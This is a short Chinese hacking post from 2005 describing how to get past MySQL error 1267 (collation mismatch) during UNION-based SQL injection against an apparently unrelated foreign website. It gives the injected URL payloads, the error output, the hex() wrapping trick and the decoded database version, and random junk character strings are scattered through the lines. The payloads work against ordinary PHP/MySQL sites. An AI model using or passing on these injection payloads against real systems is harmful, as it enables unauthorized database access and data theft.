MySQL注射时ErrorNo.1267的突破

admin

本文作者：SuperHei
$ D( |6 U: ?% G, `, x2 p! G文章性质：原创
发布日期：2005-10-18
测试个国外的站时：
url：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
返回错误：
3 [" B! ^8 g! O* R. rIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
MySQL Error No. 126
" I9 q" B1 ?" ^, F! F7 J! Y$ m看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。
解决办法：转为其他编码如hex。
3 }% [+ _. m6 ?% I. D8 o# ~url：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
成功得到hex(version())的值为：
6 \8 X( G# R# }342E312E332D62657461
: E. @( s, m' J& i% m2 Q6 }# X9 B' W回Mysql查询下得到：
7 A7 f' s: b; W/ }mysql> select 0x342E312E332D62657461;
" k. C2 b' K3 N( t3 `+------------------------+
| 0x342E312E332D62657461 |
. Z1 |; T, }. j4 y+ w7 L% ?+------------------------+
| 4.1.3-beta |
+------------------------+
; P7 q  k! \3 o) `1 row in set (0.00 sec)
: F  ^. x; K9 c